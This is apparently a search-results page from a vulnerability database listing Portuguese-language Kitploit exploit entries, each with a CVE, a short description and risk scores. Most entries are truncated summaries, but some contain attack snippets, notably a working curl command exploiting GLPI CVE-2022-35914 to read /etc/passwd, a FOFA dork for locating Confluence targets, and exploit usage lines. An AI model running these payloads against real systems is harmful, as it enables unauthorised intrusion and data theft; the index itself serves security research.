Lucene search
+L

1128837 matches found

Kitploit
Kitploit
added 2026/08/26 7:35 a.m.1 views

CVE-2023-39593

MariaDB 10.5 Execução de Código Autenticado - sysexec Este guia fornece instruções detalhadas para explorar uma vulnerabilidade de Função Definida pelo Utilizador UDF no MariaDB num servidor remoto. Estes passos incluem descarregar e executar código malicioso num sistema de base de dados...

5.6CVSS6.8AI score0.00726EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/08/26 7:35 a.m.1 views

CVE-2024-32002-EXP

CVE-2024-32002-EXP root@kitploit: !/bin/bash Configurar opções do Git git config --global protocol.file.allow always git config --global core.symlinks true Evitar mensagens de aviso definir branch padrão como main git config --global init.defaultBranch main Definir caminho do tell-tale...

9CVSS8AI score0.29234EPSS
SaveExploits32
Kitploit
Kitploit
added 2026/08/26 7:35 a.m.1 views

CVE-2024-24945-NGINX-RIFT---TryHackMe-Lab-Walkthrough

CVE-2024-24945-NGINX-RIFT---TryHackMe-Lab-Walkthrough Este laboratório demonstra a exploração da CVE-2024-24945, uma vulnerabilidade de corrupção de heap que afeta o NGINX. O objetivo era entender como a corrupção de memória pode levar à Execução Remota de Código RCE e adquirir experiência prátic...

6.1CVSS6.1AI score0.00483EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/08/26 7:35 a.m.2 views

EXPLOITING-CVE-2024-27956

Script Python que explora CVE-2024-27956, uma vulnerabilidade no Wordpress que permite SQL Injection levando a Remote Code Execution...

9.9CVSS9.7AI score0.93971EPSS
SaveExploits16
Kitploit
Kitploit
added 2026/08/26 7:35 a.m.1 views

CVE-2018-20250

exploit para Extrair Execução de Código do WinRAR poc por Ridter como usar? você só precisa instalar o Python 3.7 e preparar um arquivo malicioso que deseja executar, definir os valores desejados, este script de exploit gerará o arquivo malicioso automaticamente! 1. defina os valores desejados...

7.8CVSS6.9AI score0.96274EPSS
SaveExploits14References1
Kitploit
Kitploit
added 2026/08/26 7:35 a.m.1 views

CVE-2022-37204

CVE-2022-37204 CVE-2022-37204 POC Descrição sugerida RESERVADO JFinal CMS 5.1.0 é vulnerável a Injeção de SQL. Informações Adicionais https://github.com/AgainstTheLight/someEXPofjfinalcms/blob/main/jfinalcms/sql7.md Tipo de Vulnerabilidade Injeção de SQL Fornecedor do Produto o grupo de...

9.8CVSS9.2AI score0.01132EPSS
SaveExploits2References2
Kitploit
Kitploit
added 2026/08/26 7:35 a.m.2 views

CVE-2025-52970

CVE-2025-52970 Exploit de bypass de autenticação do FortiWeb para execução remota de código Funcionalidades Armado com shell interativo para possibilitar execução remota de código Uso root@kitploit: python CVE-2025-52970.py -t target.com Demonstração Referências...

8.1CVSS8.3AI score0.09825EPSS
SaveExploits4References1
Kitploit
Kitploit
added 2026/08/26 7:35 a.m.1 views

Project-Project-Chimera-Exploiting-a-Modern-WordPress-XXE-to-Pillage-Secrets-

Objetivo do Projeto: Demonstrar uma cadeia de ataque completa em uma instalação vulnerável do WordPress, explorando CVE-2021-29447 XXE na biblioteca de mídia para obter execução remota de código e comprometimento total do sistema. Fase 1: Reconhecimento & Enumeração Varredura de Rede com Nmap: ba...

7.1CVSS7.8AI score0.85719EPSS
SaveExploits20
Kitploit
Kitploit
added 2026/08/26 7:35 a.m.1 views

LOG4J-CVE-2021-44228

LOG4J-CVE-2021-44228 Log4Shell — também conhecido como CVE-2021-44228 — é uma vulnerabilidade crítica que permite execução remota de código em sistemas que utilizam o Log4j da Apache Foundation, que é uma biblioteca Java de código aberto amplamente utilizada em produtos de software comerciais e d...

10CVSS7.5AI score0.99999EPSS
SaveExploits363
Kitploit
Kitploit
added 2026/08/26 7:35 a.m.4 views

CVE-2026-8461

🎬 CVE-2026-8461 — PixelSmash Escrita Fora dos Limites Crítica no Decodificador MagicYUV do FFmpeg Um arquivo de vídeo malicioso pode se tornar uma arma. PixelSmash é uma vulnerabilidade crítica de corrupção de memória que afeta o decodificador MagicYUV do FFmpeg, permitindo que um invasor acione...

8.8CVSS7.3AI score0.01572EPSS
SaveExploits3
Kitploit
Kitploit
added 2026/08/26 7:35 a.m.1 views

git_rce

Ataque de Execução Remota de Código via git clone CVE-2024-32002 Contribuidor 이정우@Roronoawjd Contexto Esta vulnerabilidade é uma RCE Execução Remota de Código que ocorre ao clonar um repositório git que contém submódulos em sistemas de arquivos que não diferenciam maiúsculas de minúsculas, como...

9CVSS8.4AI score0.29234EPSS
SaveExploits32References2
Kitploit
Kitploit
added 2026/08/26 7:35 a.m.2 views

CVE-2020-1350

Aviso Este repositório foi arquivado e não é mais mantido ativamente. CVE-2020-1350 Este script PowerShell verifica se o seu servidor é vulnerável à falha de Execução Remota de Código CVE-2020-1350 no Serviço DNS do Windows. Sistemas Operacionais Suportados para este script de solução alternativa...

10CVSS8.1AI score0.91353EPSS
SaveExploits21
Kitploit
Kitploit
added 2026/08/26 7:35 a.m.3 views

CVE-2020-7115

CVE-2020-7115 Crie seu motor malicioso em segundos buildengine.sh Script simples para gerar um motor malicioso pronto para ser usado em cenários de injeção de argumentos do openssl. Como usar? É muito simples, basta modificar o arquivo engine.c com o comando de sua escolha: root@kitploit: include...

10CVSS8.7AI score0.64596EPSS
SaveExploits8
Kitploit
Kitploit
added 2026/08/26 7:35 a.m.1 views

OurSharePoint-CVE-2025-53770

OurSharePoint — CVE-2025-53770 PoC Ferramenta RCE autossuficiente para SharePoint em um único binário. Gera uma cadeia de gadgets TypeConfuseDelegate como bytes brutos MS-NRBF sem ysoserial.exe, encapsula em uma carga útil de desserialização DataSet e entrega via HTTP usando a bypass de...

9.8CVSS7.4AI score0.99982EPSS
SaveExploits42
Kitploit
Kitploit
added 2026/08/26 7:35 a.m.1 views

CVE-2017-10271

CVE-2017-10271 Uso: CVE-2017-12149.py http://targetip:port/ WEBLOGIC RCE funciona apenas no Windows, você pode editar um pouco o código para Linux...

9.8CVSS8.8AI score0.99993EPSS
SaveExploits58
Kitploit
Kitploit
added 2026/08/26 7:35 a.m.2 views

CVE-2021-26084

CVE-2021-26084 CVE-2021-26084 Execução Remota de Código em Servidores Confluence. Dork Fofa: app="ATLASSIAN-Confluence" Uso Mostra informações de ajuda. root@kitploit: python PoC.py Verificação de vulnerabilidade para sites individuais. root@kitploit: python PoC.py -u https://1.1.1.1 Execução de...

9.8CVSS8.1AI score0.99999EPSS
SaveExploits46
Kitploit
Kitploit
added 2026/08/26 7:35 a.m.2 views

CVE-2022-35914

CVE-2022-35914 RCE não autenticado no GLPI 10.0.2 PoC root@kitploit: curl -s -d 'sid=foo&hhook=exec&text=cat /etc/passwd' -b 'sid=foo' http://HOST/vendor/htmlawed/htmlawed/htmLawedTest.php |egrep '\ \0-9+\ ='| sed -E 's/\ \0-9+\ =\ ./\1/'...

9.8CVSS9AI score0.99662EPSS
SaveExploits16
Kitploit
Kitploit
added 2026/08/26 7:35 a.m.3 views

CVE-2020-27955

Exploit de Execução Remota de Código RCE no Git-lfs CVE-2020-27955 versão .bat / powershell Vulnerável: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken etc. Descoberto por Dawid Golunski https://legalhackers.com https://exploitbox.io Testado no Windows em:...

10CVSS8.3AI score0.82715EPSS
SaveExploits14References1
Kitploit
Kitploit
added 2026/08/26 7:35 a.m.1 views

CVE-2024-23692_Exploit

CVE-2024-23692 / Código de Exploração Foi descoberta uma vulnerabilidade em versões do HFS 2.3 ou inferiores que permite enviar comandos CMD para o servidor e executá-los. Detalhe: https://asec.ahnlab.com/ko/74113/ Este código é apenas para fins educacionais e a responsabilidade legal pelo uso...

9.8CVSS9AI score0.99471EPSS
SaveExploits21
Kitploit
Kitploit
added 2026/08/26 7:35 a.m.2 views

CVE-2025-1974

🚨 Teste de Injeção de Log via Controlador de Admissão Ingress-NGINX 🧠 Visão Geral Este script testa vulnerabilidades de injeção de anotações em clusters Kubernetes usando o Controlador Ingress NGINX. Ele é destinado apenas para fins de detecção em relação ao CVE-2025-1974, que permite que anotaçõ...

9.8CVSS7.8AI score0.99525EPSS
SaveExploits20References1
Rows per page
Query Builder